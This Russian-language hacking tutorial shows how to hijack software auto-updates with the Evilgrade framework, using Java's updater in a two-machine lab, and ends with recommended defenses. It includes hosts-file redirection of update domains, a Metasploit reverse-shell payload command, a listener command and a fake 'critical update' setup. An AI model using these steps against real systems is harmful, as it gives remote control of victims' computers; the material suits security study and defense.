Опасные обновления: заражение системы через механизм автоапдейтов.

Любое современное приложение периодически запрашивает на сервере информацию о новых обновлениях. Это очень удобно: один клик мыши — и в системе уже установлен самый последний релиз программы. Но! Обрадовавшись появлению обновленной версии и согласившись на установку апдейта, пользователь может получить не свежие багфиксы и новые функции, а боевую нагрузку. Вспомни, как обычно выглядит система автоматического обновления какого-то привычного приложения. Программа в какой-то момент выдает сообщение вида: "Доступна новая версия. Пожалуйста, обновитесь", и мы чаще всего сразу же даем отмашку на установку свежего апдейта. Но задумывался ли ты, что там скачивает Skype или Java? Едва ли. Запуская процесс обновления, последнее, чего можно ожидать, — это какой-либо подставы. Как не парадоксально, но этот самый механизм доставки обновлений может стать уязвимым местом всей системы. Причем речь идет не о каких-то левых поделках горе-программистов, а о серьезных продуктах с миллионной армией пользователей. Где изъян? Атаки через системы обновлений приложений известны давно. Все дело в том, что разработчики не сильно утруждают себя задуматься о безопасности механизма доставки обновлений. Чаще всего процесс автоматического апдейта выглядит следующим небезопасным образом: приложение инициирует процесс обновления (автоматически или по команде пользователя); через DNS запрашивается хоста с обновлениями (например, update.app1.com); DNS-сервер возвращает адрес сервера (например, 192.168.1.1); приложение загружает с сервера специальный файл с информацией об апдейтах (например, lastupdate.xml), анализирует его и определяет, что доступна новая версия; в конце концов, приложение скачивает файл http://update.app1.com/update.exe и выполняет его. Вот и все. Никаких тебе проверок подлинности сервера обновлений, сверки цифровой подписи скачанного файла и других элементарных действий, которые могли бы обезопасить процесс обновления. Слепое доверие — по-другому не назовешь. Получается, что ничто не мешает злоумышленнику притвориться сервером обновлений и отправить приложению файл, который оно запустит. Получаем классическую MITM-атаку, позволяющую инжектировать нагрузку через систему обновлений, которая реализуется с помощью ARP-спуфинга либо путем "отравления" DNS-кэша. Если ты думаешь, что это проблема лишь отдельных приложений, то сильно ошибаешься. Исследователь Франциско Амато из команды Infobyte Security Research разработал на Perl модульный фреймворк специально для реализации атак через систему апдейтов. Инструмент называется Evilgrade и включает в себя готовые модули для эксплуатации нехилого списка известных приложений: Teamviewer 5.1.9385; Notepad++ 5.8.2; Java 1.6.0_22 winxp/win7; Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675); Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works); Winamp 5.581; VirtualBox (3.2.8 ); Filezilla; Flashget; Miranda; Skype; Trillian <= 5.0.0.26; Adium 1.3.10 (Sparkle Framework); VMware; и т.д. Каждый модуль отвечает за эмуляцию обновления конкретного приложения. Помимо этого в Evilgrade входят модули, реализующие Web- и DNS-серверы, которые облегчают проведение атаки. Последняя версия была представлена относительно недавно на конференциях Blackhat Arsenal & Defcon 2010. Азы Evilgrade Поскольку фреймворк написан на Perl, то запустить его можно на любой платформе. Я юзал его под виндой, и для правильной работы с Active Perl мне потребовалось установить два пакета: IO::Socket::SSL и Net::SSLeay. В стандартных репозиториях их не оказалось, поэтому я установил их с помощью пакетного менеджера ppm с альтернативных источников. Делает это так: ppm install http://www.sisyphusion.tk/ppm/Net-SSLeay.ppd ppm install http://www.sisyphusion.tk/ppm/IOSocket-SSL.ppd После этого Evilgrade будет запускаться и работать без сучка и задоринки. Если ты уже использовал Metasploit, то долго разбираться с Evilgrade не потребуется: синтаксис команд во многом очень похож, а взаимодействие осуществляется так же через интерактивную консоль. Можно запустить приложение и набрать help, чтобы получить список доступных команд: configure <имя модуля> — выбирает текущий модуль и позволяет настроить его параметры;reload — перезагружает список доступных модулей; restart — перезапускает Web- и DNS-серверы; set — устанавливает значение заданной переменной; show — показывает информацию об объекте. Список доступных объектов:     options — псписок опций текущего модуля;     vhosts — псписок виртуальных хостов текущего модуля;     modules — псписок всех доступных модулей;     active — пактивные модули; start — пзапускает Web- и DNS-серверы; status — потображает статус Web-сервера; stop — постанавливает Web- и DNS-серверы; Понимаю, что от этого списка понятнее ничего не становится. Не волнуйся. Дальше по ходу примера все станет ясно. Как я уже сказал, среди продуктов, подверженных данному виду атак, есть достаточно популярные решения. Возьмем, например, Java, которая требуется для работы многих программ и довольно часто встречается на компьютерах пользователей, и попытаемся с ее помощью получить доступ к удаленному хосту. Думаю, это будет хороший пример. Evilgrade + Metasploit Во время конфигурации модулей Evilgrade важным шагом является установка параметра agent, с помощью которого определяется полезная нагрузка (payload). По сути, это тот файл или команда, которые будут отправлены клиенту под видом обновления. Однако, попробовав поменять значение agent, ты обнаружишь, что в Evilgrade не так уж много доступных агентов (они, кстати, находятся в папке agent). Спешу тебя успокоить, разработчики Evilgrade продумали этот момент и добавили возможность использования различных payload’ов из Metasploit. На практике это выглядит так: > set agent '["/metasploit/msfpayload windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4141 X > <%OUT%>/tmp/a.exe<%OUT%>"]' Если задать агент данным образом, то при каждом запросе файла обновления будет генерироваться бинарник с полезной нагрузкой windows/shell_reverse_tcp, который будет пытаться подключиться к 4141 порту компьютера 192.168.1.2. Специальный тег <%OUT%> указывает, куда будет помещен сгенерированный файл (в данном примере это папка /tmp, а имя файла будет a.exe). То же самое, в принципе, можно проделать и другим способом: зайти в Metasploit, сгенерировать файл, переместить его в какую либо папку и установить этот файл в качестве агента в Evilgrade. Но в этом случае это будет уже не динамический метод. Тестовая лаборатория Итак, у нас есть два компьютера: один из них, с установленной Java, выступает в роли жертвы, другой (c Evilgrade) — в роли атакующего. Как ты помнишь, для успешного проведения атаки необходимо, чтобы при обращении к серверу обновлений, приложение "попадало" на компьютер атакующего, что обычно делается при помощи ARP-spoofing’а или DNS Cache Poison. Мы немного упростим себе задачу (чтобы в десятый раз не писать об одном и том же) и просто отредактируем файл hosts на машине жертвы, указав в нем в качестве адреса сервера обновлений адрес нашей атакующей машины: 192.168.1.2 java.sun.com 192.168.1.2 javadl-esd.sun.com Теперь в ход идет Evilgrade. Запускаем его: perl evilgrade Чтобы посмотреть список доступных модулей, вводим "show modules". Список достаточно внушительный, есть из чего выбрать, но нам нужен модуль sunjava. Далее, чтобы сконфигурировать его, вызываем соответствующую команду: > conf sunjava Посмотрим, какие параметры мы можем поменять: > show options После чего получаем следующую таблицу: Name = Sun Microsystems Java Version = 1.0 Author = ["Francisco Amato < famato +[AT]+ infobytesec.com>"] Description = "" VirtualHost = "(java.sun.com|javadl-esd.sun.com)" .-------------------------------------------------------- | Name       | Default | website    | http://java.com/moreinfolink | enable     | 1 | atitle     | Critical vulnerability | arg        | http://java.sun.com/x.jnlp" | adesc      | This critical update fi x internal vulnerability | descr      | This critical update fi x internal vulnerability | agent      | ./include/sunjava/JavaPayload/FunnyClass2.jar | title      | Сritical update -------------+------------------------------------------ Наиболее интересное для нас поле — это agent, представляющее из себя аналог полезной нагрузки (payload) в Metasploit. Проще говоря, тут мы указываем файл, который будет отправлен жертве в качестве обновления. В данном случае — это FunnyClass2.jar. Это reverseshell, который инициирует соединение с 2010 портом атакующей машины. Поэтому перед его использованием надо запустить приложение, которое будет ожидать попыток соединения на 2010 порт. Для этого зайдем в папку include\sunjava\JavaPayload\ и выполним команду: java -cp "JavaPayload.jar:lib/*" javapayload.handler.stager.StagerHandler ReverseSSL 192.168.1.2 2010 -- JSh Теперь можно вернуться к конфигурации модуля. Обрати внимание на поля atitle и adescription. Тут задается сообщение, которое будет появляться в трее, как только Java соединится с нашим сервером и найдет свежие обновления, и после — в процессе выполнения обновления. Все параметры данного модуля можно изменить, используя команду set. Заменим, к примеру, заголовок информационного окна: > set atitle "New version available" Подобным образом можно менять и остальные параметры. Если теперь еще раз ввести команду "show options", то мы увидим изменения в настройках модуля. По сути, сейчас уже можно смело запускать все необходимое для проведения атаки. Делается это командой start. Эксплуатация Теперь проверим, как это все работает. Чтобы инициировать процесс обновления на компьютере жертвы, заходим в панель управления, запускаем Java, и в появившемся окне выбираем вкладку "Update", нажимаем кнопку "Update Now". Весь процесс "общения" приложения с сервером обновлений будет отображаться в окне Evilgrade. Посмотреть текущее состояние можно с помощью команды "show status": client = 192.168.1.1 module = modules::sunjava status = send (md5,cmd,fi le) = d9a28baa883ecf51e41fc626e1d4eed5,'', ".include/sunjava/JavaPayload/FunnyClass2.jar" Он указывает, что поддельное обновление было успешно отправлено на машину с адресом 192.168.1.1. Теперь, открыв вторую консоль, ожидавшую подключения, убедимся, что боевая нагрузка успешно была выполнена — и мы имеем reverse shell к удаленному компьютеру. Можно ввести команду help и увидеть список команд, доступных к выполнению на удаленной системе. Структура модуля Evilgrade Надо понимать, что Evilgrade — это все-таки фреймворк для реализации атаки через обновления. Встроенные модули для популярных приложений являются примерами того, как его можно использовать. И их не так уж и много. Хочу рассказать немного об их структуре, чтобы ты имел представление, как такой модуль можно собрать самому. Поскольку сам Evilgrade написан на Perl’е, то любой модуль, по сути, представляет собой обычный Perl-скрипт, в котором мы: 1. Задаем имя модуля и подключаем необходимые пакеты: package modules::sunjava; use strict; use Data::Dump qw(dump); 2. Определяем переменную $base, включающую в себя все данные о работе модуля: имя модуля для отображения во фреймворке, версию модуля, версию уязвимого приложения, информацию об авторе модуля, краткое описание и список виртуальных хостов, с которых приложение пытается получить информацию об обновлении и файлы обновлений: 'name' => 'Sun Microsystems Java', 'version' => '2.0', 'appver' => '<= 1.6.0_22', 'author' => [ 'Name Surname < mail +[AT]+ mail.com>' ], 'description' => qq{}, 'vh' => '(java.sun.com|javadl-esd.sun.com)', список запросов, которые будет посылать приложение нашему серверу обновлений с использованием регулярных выражений: 'req' => '(/update/[.\d]+/map\-[.\d]+.xml|/update/1.6.0/map\-m\-1.6.0.xml)', список опций, которые будут использоваться в ответах нашего сервера обновлений: 'options' => {     'agent' => { 'val' => './agent/java/javaws.exe', 'desc' => 'Agent to inject'},     'arg' => { 'val' => 'http://java.sun.com/x.jnlp', 'desc' => 'Arg passed to Agent'},     'enable' => { 'val' => 1, 'desc' => 'Status'}, Полностью разобранный файл модуля с комментариями на русском языке ты можешь найти на DVD-приложении. Детские болезни Как видишь, даже серьезные приложения могут быть большой проблемой для безопасности компьютера. И пусть в них нет переполнений буфера или прочих ошибок, но неправильно реализованный механизм обновлений превращает их в этакий "черный ход", которым кто-то может воспользоваться. Многие разработчики успели исправить некоторые детские болезни, немного обезопасив процесс обновления. Увы, далеко не всегда это дает нужный эффект. Если поковыряться в исходниках модулей (о том, как они устроены, читай во врезке), которые идут вместе с Evilgrade, несложно найти места, где происходит обход примитивных проверок. Но каким должно быть безопасное обновление? Автор Evilgrade говорит о том, что сервер обновлений должен работать под https и поддерживать сертификаты, а само обновление должно обязательно содержать цифровую подпись, которую можно проверить по публичному ключу. Вроде бы все просто, но проблема по-прежнему есть. Warning Информация представлена в ознакомительных целях. За ее использование с нарушением закона автор и редакция ответственности не несут.

Источник